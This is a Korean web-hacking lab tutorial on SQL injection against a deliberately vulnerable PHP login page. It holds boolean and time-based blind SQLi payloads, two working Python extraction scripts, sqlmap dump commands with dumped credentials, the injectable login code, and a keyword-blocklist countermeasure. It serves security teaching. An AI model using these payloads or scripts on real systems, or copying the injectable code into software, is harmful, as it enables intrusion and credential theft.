                  282 Init DB   WebTest
                  282 Query     select * from member where u_id='' or ascii(substring(database(), 1, 1)) = 87#' and u_pass='12345'
                  282 Quit

4. 응답 값
로그인이 성공이 되면 아래처럼 로그인 성공 메세지가 전송된다. 
HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 03:13:39 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: login_access=HAHAHAHAHA; expires=Mon, 10-Apr-2023 04:13:39 GMT; path=/; httponly
Content-Length: 111
Connection: close
Content-Type: text/html; charset=UTF-8

<script>
        alert('로그인 되었습니다.');
        location.replace('index.php');
      </script>

5. 직접 쿼리 실행
쿼리의 결과값이 출력되기 때문에 로그인에 성공된다.
결과값이 2개중에서 가장 첫 번째 결과값은 tester로 로그인된다.
MariaDB [WebTest]>   select * from member where u_id='' or ascii(substring(database(), 1, 1)) = 87#' and u_pass='12345'
    -> ;
+----+--------+----------+-----------+------------------+------+-------+---------------------+
| no | u_id   | u_pass   | u_name    | nickname         | age  | email | reg_date            |
+----+--------+----------+-----------+------------------+------+-------+---------------------+
|  1 | tester | 111111   | 테스터    | 테스트계정1      |    1 | 11    | 2022-10-24 14:01:38 |
|  2 | admin  | P@ssw0rd | 관리자    | 관리자           |    0 |       | 2022-10-24 14:01:38 |
+----+--------+----------+-----------+------------------+------+-------+---------------------+
2 rows in set (0.00 sec)

쿼리의 결과를 풀어서 설명하면 아래처럼 된다.
select * from member where u_id='' or ascii(substring(database(), 1, 1)) = 87#' and u_pass='12345'
select * from member where u_id='' or ascii(substring('WebTest', 1, 1)) = 87
select * from member where u_id='' or ascii('W') = 87
select * from member where u_id='' or 87 = 87
select * from member where False or 87 = 87
select * from member where False or True
select * from member where True  <== 결국 True가 되기 때문에 2개의 모든 자료가 출력된 것이다.

실습> 문자열의 끝 확인하기

MariaDB [WebTest]> SELECT database();
+------------+
| database() |
+------------+
| WebTest    |
+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring(database(),1,1);
+---------------------------+
| substring(database(),1,1) |
+---------------------------+
| W                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT ascii(substring(database(),1,1));
+----------------------------------+
| ascii(substring(database(),1,1)) |
+----------------------------------+
|                               87 |
+----------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring(database(),1,1);
MariaDB [WebTest]> SELECT substring(database(),1,1);
+---------------------------+
| substring(database(),1,1) |
+---------------------------+
| W                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring(database(),2,1);
+---------------------------+
| substring(database(),2,1) |
+---------------------------+
| e                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring(database(),3,1);
+---------------------------+
| substring(database(),3,1) |
+---------------------------+
| b                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring(database(),4,1);
+---------------------------+
| substring(database(),4,1) |
+---------------------------+
| T                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring(database(),5,1);
+---------------------------+
| substring(database(),5,1) |
+---------------------------+
| e                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring(database(),6,1);
+---------------------------+
| substring(database(),6,1) |
+---------------------------+
| s                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT substring(database(),7,1);
+---------------------------+
| substring(database(),7,1) |
+---------------------------+
| t                         |
+---------------------------+
1 row in set (0.00 sec)


문자열의 끝이 아니므로 ascii() 함수로 변환하면 t에 대한 값이 출력된다.
MariaDB [WebTest]> SELECT ascii(substring(database(),7,1));
+----------------------------------+
| ascii(substring(database(),7,1)) |
+----------------------------------+
|                              116 |  <-- t가 116이 중요한 것이 아니가 값이 있느냐(not 0) 없느냐(0)가 중요하다.
+----------------------------------+
1 row in set (0.01 sec)

문자열의 끝이므로 값이 출력이 안된다.
MariaDB [WebTest]> SELECT substring(database(),8,1);
+---------------------------+
| substring(database(),8,1) |
+---------------------------+
|                           |
+---------------------------+
1 row in set (0.00 sec)

문자열의 끝을 ascii() 함수로 변환하면 값이 없기 때문에 0이 출력된다.
MariaDB [WebTest]> SELECT ascii(substring(database(),8,1));
+----------------------------------+
| ascii(substring(database(),8,1)) |
+----------------------------------+
|                                0 |  <-- 0이므로 끝이라는 것을 알 수 있다.
+----------------------------------+  <-- 0 ASCII코드 NULL문자이다.
1 row in set (0.00 sec)

실습> blind SQLi 공격코드 작성하기

>>> 여기서 중요하게 생각해야할 것 <<<
1. Blind SQLi으로 하나하나 대조하므로 많은 로그가 남는다.
2. 실제 공격자가 이런식으로 공격을 하는지 생각해봐야 한다.
- 이렇게 공격하면 IDS/IPS/Firewall에서 다 막힌다.
3. 그러면 어떻게 공격을 하는가?
- 각자 생각해보고나 논문들을 검색한다.

[root@webhacking ~]# su - user1
[user1@webhacking ~]$ . SQLiProject/bin/activate
(SQLiProject) [root@webhacking ~]# vi loginAttack.py
#!/usr/bin/python2
# -*- coding:utf-8 -*-
# 파일명: loginAttack.py
# 프로그램 설명: login을 이용한 Blind SQLi
# 작성자: 리눅스마스터넷

import re, urllib, urllib2, sys

dbname=""

# PHP 세션값을 저장한다.
SESSION = "9nd01svrf2v1khckg29upofbh2"

# ?? 를 자신의 Victim의 IP 주소로 변경한다.
url = "http://192.168.20.??/login_check.php"

count = 1
queryCount = 1

try:
    while True:

        # 숫자, 대문자, 소문자까지 반복한다.
        for i in range(48,123):

            // 숫자, 대문자, 소문자가 아니면 continue
            if i in (58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 96):
                continue
            data = "user_id=' or ascii(substring(database(),%d,1))=%d #&user_pw=111" %(count,i)
            req = urllib2.Request(url)
            req.add_header("Cookie","PHPSESSID=%s" %(SESSION)) # 헤더의 쿠키값을 변경
            # POST 방식으로 전송해서 Response 의 값을 read() 로 읽어서 read 변수에 저장한다.
            read = urllib2.urlopen(req,data=data.encode()).read()

            ok = re.findall("location.replace", read)
            
            #print("%d : %s : %c" %(i,read,chr(i)))   
            #print(ok)

            if ok :
                dbname = dbname + chr(i)
                print("Now dbname:"+dbname)
                break

            data = "user_id=' or ascii(substring(database(),%d,1))=%d #&user_pw=111" %(count,0)
            req = urllib2.Request(url)
            req.add_header("Cookie","PHPSESSID=%s" %(SESSION)) # 헤더의 쿠키값을 변경
            read = urllib2.urlopen(req,data=data.encode()).read()
            ok = re.findall("location.replace", read)
            if ok:
                sys.exit()

            queryCount += 1
        count += 1
except:
    print()

print(">>> total queryCount : %d, dbname : %s <<<" %(queryCount, dbname))

터미널 2번에서 DB서버 로그를 모니터링 한다.
[root@webhacking ~]# > /var/lib/mysql/webhacking.log
[root@webhacking ~]# tail -f /var/lib/mysql/webhacking.log


터미널 3번에서 웹서버 로그를 모니터링 한다.
[root@webhacking ~]# > /var/log/httpd/access_log
[root@webhacking ~]# tail -f /var/log/httpd/access_log


(SQLiProject) [root@webhacking ~]# chmod 755 loginAttack.py
(SQLiProject) [root@webhacking ~]# ./loginAttack.py
Now dbname:W
Now dbname:We
Now dbname:Web
Now dbname:WebT
Now dbname:WebTe
Now dbname:WebTes
Now dbname:WebTest
()
>>> total queryCount : 288, dbname : WebTest <<<

남겨진 로그는 아래와 같다.
[root@webhacking ~]# tail -f /var/lib/mysql/webhacking.log
230410 12:34:55  3781 Connect   webadmin@localhost as anonymous on
                 3781 Query     SET NAMES utf8
                 3781 Init DB   WebTest
                 3781 Query     select * from member where u_id='' or ascii(substring(database(),1,1))=48 #' and u_pass='111'
                 3781 Quit
                 3782 Connect   webadmin@localhost as anonymous on
                 3782 Query     SET NAMES utf8
                 3782 Init DB   WebTest
                 3782 Query     select * from member where u_id='' or ascii(substring(database(),1,1))=0 #' and u_pass='111'
                     :
                     :(생략)
                 3767 Quit
                 3768 Connect   webadmin@localhost as anonymous on
                 3768 Query     SET NAMES utf8
                 3768 Init DB   WebTest
                 3768 Query     select * from member where u_id='' or ascii(substring(database(),7,1))=111 #' and u_pass='111'
                 3768 Quit
                 3769 Connect   webadmin@localhost as anonymous on
                 3769 Query     SET NAMES utf8
                 3769 Init DB   WebTest
                 3769 Query     select * from member where u_id='' or ascii(substring(database(),7,1))=0 #' and u_pass='111'
                 3769 Quit
                 3770 Connect   webadmin@localhost as anonymous on
                 3770 Query     SET NAMES utf8
                 3770 Init DB   WebTest
                 3770 Query     select * from member where u_id='' or ascii(substring(database(),7,1))=112 #' and u_pass='111'
                 3770 Quit
                 3771 Connect   webadmin@localhost as anonymous on
                 3771 Query     SET NAMES utf8
                 3771 Init DB   WebTest
                 3771 Query     select * from member where u_id='' or ascii(substring(database(),7,1))=0 #' and u_pass='111'
                     :
                     :(생략)

터미널 3번에서 웹서버 로그를 모니터링 한다.
[root@webhacking ~]# > /var/log/httpd/access_log
[root@webhacking ~]# tail -f /var/log/httpd/access_log
  :
  :(생략)
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] "POST /login_check.php HTTP/1.1" 200 129 "-" "Python-urllib/2.7"
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] "POST /login_check.php HTTP/1.1" 200 129 "-" "Python-urllib/2.7"
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] "POST /login_check.php HTTP/1.1" 200 129 "-" "Python-urllib/2.7"
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] "POST /login_check.php HTTP/1.1" 200 129 "-" "Python-urllib/2.7"
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] "POST /login_check.php HTTP/1.1" 200 129 "-" "Python-urllib/2.7"
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] "POST /login_check.php HTTP/1.1" 200 129 "-" "Python-urllib/2.7"
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] "POST /login_check.php HTTP/1.1" 200 129 "-" "Python-urllib/2.7"
  :
  :(생략)

실습> Blind SQLi을 이용한 자동화 프로그램 제작하기

(SQLiProject) [root@webhacking ~]# vi loginAttack2.py
#!/usr/bin/env python
# 파일명: loginAttack2.py
# 프로그램 설명: Blind SQLi을 이용한 자동화 로그인(python3)
# 작성자: 리눅스마스터넷

import re
import sys
import requests

# ?? 를 자신의 Victim의 IP 주소로 변경한다.
url     = 'http://192.168.20.??/login_check.php'
cookies = { 'PHPSESSID':'9nd01svrf2v1khckg29upofbh2' }
agent   = { 'User-agent': 'James agent' }

dbname=''
debug = True
count = 1
queryCount = 1

print("Searching for DB name...")

try:
    while True:
        endCount = 1

        for i in range(48,123):
            if i in (58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 95, 96):
                continue  
            data = { "user_id": f"' or ascii(substring(database(),{count},1))={i} #", "user_pw":"111"}
            res = requests.post(url, data=data, cookies=cookies, headers=agent)
            ok = re.findall("location.replace", res.text)

            if ok :  # DB명을 찾았다면
                dbname += chr(i)
                if debug:
                    print(f'[+] {endCount}, {chr(i)}, {ok}, {res.text}')
                print("Now dbname:"+dbname)
                break
            
            if debug:
                print(data)
                print(f'[+] {endCount}, {chr(i)}, {ok}, {res.text}')

            queryCount += 1
            endCount += 1
        else:  # DB의 끝이면
            break  # DB명의 끝이면 while문을 종료한다.

        count += 1
except:
    print()

print(">>> Result <<<\n"
      f"Total queryCount: {queryCount}, Found dbname: {dbname} ")


(SQLiProject) [root@webhacking ~]# chmod 755 loginAttack2.py
(SQLiProject) [root@webhacking ~]# ./loginAttack2.py

실습> 윈도우에서 소스 분석하기

1. VSCode 실행
VSCode 실행한다.

2. 가상 환경 생성
cmd 창을 실행해서 SQLiProject 가상환경을 생성한다.
D:\pythonWorkspace>python -m venv SQLiProject
D:\pythonWorkspace>SQLiProject\Scripts\activate
(SQLiProject) D:\pythonWorkspace>

3. VSCode 가상환경 선택
VSCode 로 다시 가면 생성된 가상환경을 체크하고 선택할 수 있도록 메세지가 출력되고 예를 선택한다.

>>> 출력 메세지 박스 <<<
! 새 환경이 생성되었음을 확인했습니다. 작업 영역 폴더에 대해 선택하시겠습니까? 예

오른쪽 아래부분에 이 메세지가 출력되면 가상환경으로 선택이 된 것이다.
Python 3.x.x('SQLiProject':venv)

4. requests 모듈 설치
cmd 창에서 pip를 최신버전으로 업그레이드 한다.
(SQLiProject) D:\pythonWorkspace>python -m pip install --upgrade pip

requests 모듈을 설치한다.
(SQLiProject) D:\pythonWorkspace>pip install requests

5. 소스코드 작성
VSCode에서 loginAttack2.py 를 생성한다.
"""
파일명: loginAttack2.py
프로그램 설명: Blind SQLi을 이용한 자동화 로그인(python3)
작성자: 리눅스마스터넷
"""

import re
import sys
import requests

# ?? 를 자신의 Victim의 IP 주소로 변경한다.
url     = 'http://192.168.20.41/login_check.php'
cookies = { 'PHPSESSID':'9nd01svrf2v1khckg29upofbh2' }
agent   = { 'User-agent': 'James agent' }

dbname=''
debug = True
count = 1
queryCount = 1

print("Searching for DB name...")

try:
    while True:
        endCount = 1

        for i in range(48,123):

            """
            숫자, 대문자, 소문자가 아니면 continue
            0(48) ~ 9 : ; < = > ? @ A(65) B ... Z(90) [ \ ] ^ ` a(97) b c ... z(122)
            58: :, 59: ;, 60: <, 61: =, 62: >, 63: ?, 64: @
            91: [, 92: \, 93: ], 94: ^, 95: _(DB명으로 사용 가능), 96: `
            """
            if i in (58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 96):
                continue
            data = { "user_id": f"' or ascii(substring(database(),{count},1))={i} #", "user_pw":"111"}
            res = requests.post(url, data=data, cookies=cookies, headers=agent)
            ok = re.findall("location.replace", res.text)

            if ok :  # DB명을 찾았다면
                dbname += chr(i)
                if debug:
                    print(f'[+] {endCount}, {chr(i)}, {ok}, {res.text}')
                print("Now dbname:"+dbname)
                break
            
            if debug:
                print(data)
                print(f'[+] {endCount}, {chr(i)}, {ok}, {res.text}')

            queryCount += 1
            endCount += 1
        else:  # DB의 끝이면
            break  # DB명의 끝이면 while문을 종료한다.

        count += 1
except:
    print()

print(">>> Result <<<\n"
      f"Total queryCount: {queryCount}, Found dbname: {dbname} ")

Ctrl + F5를 이용해서 스크립트를 실행해서 DB가 출력되는지 확인한다.
  :
  :(생략)
>>> Result <<<
Total queryCount: 350, Found dbname: WebTest

6. 분석 내용
숫자, 대문자, 소문자 순서대로 for문을 이용해서 반복한다.
중간에 숫자 대문자 사이에 특수문자들은 건너뛴다.
대문자와 소문자 사이에 특수문자들은 건너뛴다.
숫자, 대문자, 소문자가 아니면 continue
0(48) ~ 9 : ; < = > ? @ A(65) B ... Z(90) [ \ ] ^ ` a(97) b c ... z(122)
58: :, 59: ;, 60: <, 61: =, 62: >, 63: ?, 64: @
91: [, 92: \, 93: ], 94: ^, 95: _(DB명으로 사용 가능), 96: `

for i in range(48, 123):
     if i in (58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 96):
         print(f"[{i} => {chr(i)}]")
         continue
     print(f"{i} => {chr(i)}")

48 => 0
49 => 1
50 => 2
51 => 3
52 => 4
53 => 5
54 => 6
55 => 7
56 => 8
57 => 9
[58 => :]
[59 => ;]
[60 => <]
[61 => =]
[62 => >]
[63 => ?]
[64 => @]
65 => A
66 => B
67 => C
68 => D
69 => E
70 => F
71 => G
72 => H
73 => I
74 => J
75 => K
76 => L
77 => M
78 => N
79 => O
80 => P
81 => Q
82 => R
83 => S
84 => T
85 => U
86 => V
87 => W
88 => X
89 => Y
90 => Z
[91 => []
[92 => \]
[93 => ]]
[94 => ^]
95 => _
[96 => `]
97 => a
98 => b
99 => c
100 => d
101 => e
102 => f
103 => g
104 => h
105 => i
106 => j
107 => k
108 => l
109 => m
110 => n
111 => o
112 => p
113 => q
114 => r
115 => s
116 => t
117 => u
118 => v
119 => w
120 => x
121 => y
122 => z

re.findall("패턴문자열", "문자열")
패턴 문자열에서 문자열이 있으면 리스트 형태로 리턴한다.
없으면 [] 를 리턴한다. 
리턴값을 체크하면 [] 나오면 못찾았다는 의미다.

로그인이 실패일 경우 테스트
>>> text="<script>alert('아이디 또는 패스워드가 일치하지 않습니다.');history.back();</script>"
>>> ok = re.findall("location.replace", text)
>>> ok
[]
>>> if ok:
...     print("^^")
...

로그인이 성공일 경우 테스트
>>> text="<script>alert('로그인 되었습니다.');location.replace('index.php');</script>"
>>> text
"<script>alert('로그인 되었습니다.');location.replace('index.php');</script>"
>>> ok = re.findall("location.replace", text)
>>> ok
['location.replace']
>>> if ok:
...     print("^^")
...
^^

실습> Blind SQLi 2

참과 거짓을 반환하지 않을 경우에 사용한다.

1. 소스코드 수정

[root@webhacking html]# cat login_check.php
<?php
    session_start();
    $id=trim($_POST["user_id"]);
    $pw=trim($_POST["user_pw"]);

    if($id=="" && $pw==""){
      echo "<script>
        alert('아이디와 패스워드를 모두 입력해주세요.');
        history.back();
      </script>";
      exit();
    }

    /*
    if($id == "admin"){
      // 임시 처리
      if($_SERVER['REMOTE_ADDR'] != "200.200.200.1"){
        echo "<script>
          alert('해당 로그인이 실패하였습니다.');
          history.back();
        </script>";
        exit();
      }
    }
    */

    //$id = addslashes($id);

/*
if(eregi("substring",$id)){
    echo "<script>
          alert('불법 접근은 금지합니다.');
          history.back();
          </script>";
    exit();
}

if(preg_match("/SELECT|insert|delete|update|drop/i",$id)){
    exit("no hack!!");
}
if(preg_match("/union|from|limit|information_schema|NULL/i", $id)){
    exit("no hack!!");
}
*/

    require("dbconn.php");

    $strSQL="select * from member where u_id='".$id."' and u_pass='".$pw."';";
    //$strSQL="select * from member where u_id='admin' and u_pass='P@ssw0rd';"; 1
    //$strSQL="select * from member where u_id='admin' and u_pass='111111';";  x
    //$strSQL="select * from member where u_id='' or 1=1#' and u_pass='1';";
    //$strSQL="select * from member where u_id='' or 1=1";
    $rs=mysql_query($strSQL,$conn);
    $rs_arr=mysql_fetch_array($rs);

    //if(($rs_arr[u_id] == $id) && ($rs_arr[u_pass] == $pw)){
    if($rs_arr){
      $_SESSION['user_id'] = $rs_arr['u_id'];
      $_SESSION['nickname'] = $rs_arr['nickname'];
      $_SESSION['ip_addr'] = $_SERVER['REMOTE_ADDR'];
      setcookie("login_access", "HAHAHAHAHA", time()+3600, "/", "", false, true);

      // 소스코드 추가
      // 로그인에 성공하면 index.php로 보낸다.
      Header("Location: index.php");
    } else {
       // 소스코드 추가
       // 로그인에 실패하면 login.php로 보낸다.
       Header("Location: login.php");
    }

    /*
     소스코드 주석처리
      echo "<script>
        alert('로그인 되었습니다.');
        location.replace('index.php');
      </script>";
    } else {
      echo "<script>
        alert('아이디 또는 패스워드가 일치하지 않습니다.');
        history.back();
      </script>";
    }
    */
 ?>


2. Burp에서 확인
Proxy로 걸어서 응답의 메세지를 확인한다.

실습> sleep 함수

1. sleep()함수 사용
MariaDB [WebTest]> SELECT sleep(3);
+----------+
| sleep(3) |
+----------+
|        0 |
+----------+
1 row in set (3.08 sec)

MariaDB [WebTest]> SELECT sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)

2. 결과가 참일 경우
MariaDB [WebTest]> SELECT 1 and sleep(3);
+----------------+
| 1 and sleep(3) |
+----------------+
|              0 |
+----------------+
1 row in set (3.00 sec)

MariaDB [WebTest]> SELECT 1 and sleep(10);
+-----------------+
| 1 and sleep(10) |
+-----------------+
|               0 |
+-----------------+
1 row in set (10.00 sec)

3. 결과가 거짓일 경우
MariaDB [WebTest]> SELECT 0 and sleep(10);
+-----------------+
| 0 and sleep(10) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT 0 and sleep(3);
+----------------+
| 0 and sleep(3) |
+----------------+
|              0 |
+----------------+
1 row in set (0.00 sec)


4. python으로 실행한 경우
>>> import time
>>> time.sleep(2)
>>> time.sleep(3)
>>> 1 and 1
1
>>> 1 and time.sleep(2)
>>> 0 and 1
0
>>> 0 and time.sleep(2)
0

5. 로그인 시도
참이므로 3초이상 지연되고 로그인 페이지로 이동한다.
LOGIN
ID: ' or 1 and sleep(3) #
PASSWORD: 1

거짓이므로 즉시 로그인 페이지로 이동한다.
LOGIN
ID: ' or 0 and sleep(3) #
PASSWORD: 1

참이므로 3초이상 지연되고 로그인 페이지로 이동한다.
database: WebTest
W 를 체크하므로 참이다.
LOGIN
ID: ' or ascii(substring(database(),1,1))=87 and sleep(3)#
PASSWORD: 1

거짓이므로 즉시 로그인 페이지로 이동한다.
database: WebTest
P 를 체크하므로 거짓이다.
LOGIN
ID: ' or ascii(substring(database(),1,1))=80 and sleep(3)#
PASSWORD: 1

실습> sqlmap을 이용한 SQLi 공격

개요 
sqlmap은 파이썬으로 작성된 프로그램으로 2006년부터 지금까지 계속 버전업이 된 유명한 프로그램이다.
[root@kali ~]# ll `which sqlmap`
lrwxrwxrwx 1 root root 25 Feb  7 08:14 /usr/bin/sqlmap -> ../share/sqlmap/sqlmap.py

[root@kali ~]# vi /usr/share/sqlmap/sqlmap.py
#! /usr/bin/python3

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
  :
  :(생략)

1. 취약점 확인
취약점이 있는지 확인한다.
sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num

2. sqlmap 으로 DB 추출하기
-u : URL
-p : 취약한 파라미터
--dbs : DB 목록 출력

sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num --dbs

물어보는 부분이 나오면 모두 엔터를 친다.  

  :
  :(생략)
[21:33:48] [INFO] fetching database names
[21:33:48] [WARNING] reflective value(s) found and filtering out
[21:33:48] [INFO] retrieved: 'information_schema'
[21:33:48] [INFO] retrieved: 'WebTest'
[21:33:48] [INFO] retrieved: 'websecurity'
available databases [3]:                                                                        
[*] information_schema
[*] websecurity
[*] WebTest     <-- 


3. sqlmap 으로 TB 추출하기
-D : DB명 
--tables : 테이블 목록 출력

sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num -D WebTest --tables

물어보는 부분이 나오면 모두 엔터를 친다.  

  :
  :(생략)
[21:35:55] [INFO] fetching tables for database: 'WebTest'
[21:35:55] [WARNING] reflective value(s) found and filtering out
[21:35:55] [INFO] retrieved: 'board'
[21:35:55] [INFO] retrieved: 'member'
Database: WebTest                                                                                                    
[2 tables]
+--------+
| member |
| board  |
+--------+

4. sqlmap 으로 COLUMNS 추출하기
-D DB : DB명
-T TB : TB명
--columns : 컬럼 목록 출력

sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num -D WebTest -T board --columns

물어보는 부분이 나오면 모두 엔터를 친다.

  :
  :(생략)
Database: WebTest                                                                                                    
Table: board
[11 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| filename    | varchar(50)  |
| filesize    | int(11)      |
| htmlTag     | char(1)      |
| strContent  | text         |
| strEmail    | varchar(50)  |
| strName     | varchar(20)  |
| strNumber   | int(11)      |
| strPassword | varchar(20)  |
| strSubject  | varchar(100) |
| viewCount   | int(11)      |
| writeDate   | datetime     |
+-------------+--------------+

sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num -D WebTest -T member --columns

물어보는 부분이 나오면 모두 엔터를 친다.

  :
  :(생략)
Database: WebTest
Table: member
[8 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| no       | int(11)     |
| age      | int(11)     |
| email    | char(50)    |
| nickname | char(20)    |
| reg_date | datetime    |
| u_id     | varchar(20) |
| u_name   | varchar(20) |
| u_pass   | varchar(50) |
+----------+-------------+

5. Data 추출하기
-u URL : 타겟 URL
-p TESTPARAMETER : 공격을 수행할 파라미터
--dbs : DB 추출
--tables : TB 추출
--columns : 컬럼 추출
-D DB : DB명
-T TB : TB명
--dump : 데이터 추출

sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num -D WebTest -T member --dump

  :
  :(생략)
Database: WebTest                                                                                                    
Table: member
[2 entries]
+--------+-----+------+------------------+--------+--------+----------+---------------------+
| u_id   | age | no   | email            | u_name | u_pass | nickname | reg_date            |
+--------+-----+------+------------------+--------+--------+----------+---------------------+
| tester | 3   | 1    | tester@naver.com | 테스터 | 111111 | 테스터   | 2022-10-28 22:28:11 |
| admin  | 30  | 2    | admin@naver.com  | 관리자 | 222222 | 관리자   | 2022-10-28 22:28:47 |
+--------+-----+------+------------------+--------+--------+----------+---------------------+

[21:38:51] [INFO] table 'WebTest.`member`' dumped to CSV file '/root/.local/share/sqlmap/output/200.200.200.101/dump/WebTest/member.csv'
[21:38:51] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/200.200.200.101'

[*] ending @ 21:38:51 /2022-11-02/

실습> sqlmap을 다시 점검하고자 할 때

다시 점검할 때 자신의 홈디렉터에서 .local 디렉터리를 삭제한 후 진행한다.

이전 실습에 성공하면 아래 경로에 파일이 생성된다.
[root@kali ~]# pwd
/root

[root@kali ~]# cat .local/share/sqlmap/output/192.168.20.41/dump/WebTest/member.csv
u_id,age,no,email,u_name,u_pass,nickname,reg_date
tester,1,1,11,테스터,111111,테스트계정1,2022-10-24 14:01:38
admin,0,2,<blank>,관리자,P@ssw0rd,관리자,2022-10-24 14:01:38

[root@kali ~]# rm -rf .local
yes | sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num 
yes | sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num --dbs
yes | sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num -D WebTest --tables
yes | sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num -D WebTest --columns
yes | sqlmap -u "http://192.168.20.41/board/board_view.php?num=2" -p num -D WebTest -T member --dump

실습> SQLi 대응방안 중에서 입력값 검증하기

Server Side Validation을 수행한다.

POST 방식으로 넘어온 id 부분을 검증한다.

-- login_check.php --
login_check.php
<?php
    session_start();
    $id=trim($_POST["user_id"]);
    $pw=trim($_POST["user_pw"]);

    if($id=="" && $pw==""){
      echo "<script>
        alert('아이디와 패스워드를 모두 입력해주세요.');
        history.back();
      </script>";
      exit();
    }

    /*
    if($id == "admin"){
      // 임시 처리
      if($_SERVER['REMOTE_ADDR'] != "200.200.200.1"){
        echo "<script>
          alert('해당 로그인이 실패하였습니다.');
          history.back();
        </script>";
        exit();
      }
    }
    */

    //$id = addslashes($id);

/*
if(eregi("substring",$id)){
    echo "<script>
          alert('불법 접근은 금지합니다.');
          history.back();
          </script>";
    exit();
}
*/

if(preg_match("/SELECT|insert|delete|update|drop/i",$id)){
    exit("1. no hack!!");
}
if(preg_match("/ascii|substring/i",$id)){
    exit("2. no hack!!");
}

if(preg_match("/union|from|limit|information_schema|NULL/i", $id)){
    exit("3. no hack!!");
}

    require("dbconn.php");

    $strSQL="select * from member where u_id='".$id."' and u_pass='".$pw."';";
    //$strSQL="select * from member where u_id='admin' and u_pass='P@ssw0rd';"; 1
    //$strSQL="select * from member where u_id='admin' and u_pass='111111';";  x
    //$strSQL="select * from member where u_id='' or 1=1#' and u_pass='1';";
    //$strSQL="select * from member where u_id='' or 1=1";
    $rs=mysql_query($strSQL,$conn);
    $rs_arr=mysql_fetch_array($rs);

    //if(($rs_arr[u_id] == $id) && ($rs_arr[u_pass] == $pw)){
    if($rs_arr){
      $_SESSION['user_id'] = $rs_arr['u_id'];
      $_SESSION['nickname'] = $rs_arr['nickname'];
      $_SESSION['ip_addr'] = $_SERVER['REMOTE_ADDR'];
      setcookie("login_access", "HAHAHAHAHA", time()+3600, "/", "", false, true);

      echo "<script>
        alert('로그인 되었습니다.');
        location.replace('index.php');
      </script>";
    } else {
      echo "<script>
        alert('아이디 또는 패스워드가 일치하지 않습니다.');
        history.back();
      </script>";
    }
 ?>
-- login_check.php --

-- loginAttack2.py --
debug = True
-- loginAttack2.py --


[root@webhacking ~]# . SQLiProject/bin/activate
(SQLiProject) [root@webhacking ~]# ./loginAttack2.py
Searching for DB name...
{'user_id': "' or ascii(substring(database(),1,1))=48 #", 'user_pw': '111'}
[+] 1, 0, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=49 #", 'user_pw': '111'}
[+] 2, 1, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=50 #", 'user_pw': '111'}
[+] 3, 2, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=51 #", 'user_pw': '111'}
[+] 4, 3, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=52 #", 'user_pw': '111'}
[+] 5, 4, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=53 #", 'user_pw': '111'}
[+] 6, 5, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=54 #", 'user_pw': '111'}
[+] 7, 6, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=55 #", 'user_pw': '111'}
[+] 8, 7, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=56 #", 'user_pw': '111'}
[+] 9, 8, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=57 #", 'user_pw': '111'}
[+] 10, 9, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=65 #", 'user_pw': '111'}
[+] 11, A, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=66 #", 'user_pw': '111'}
[+] 12, B, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=67 #", 'user_pw': '111'}
[+] 13, C, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=68 #", 'user_pw': '111'}
[+] 14, D, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=69 #", 'user_pw': '111'}
[+] 15, E, [], 2. no hack!!
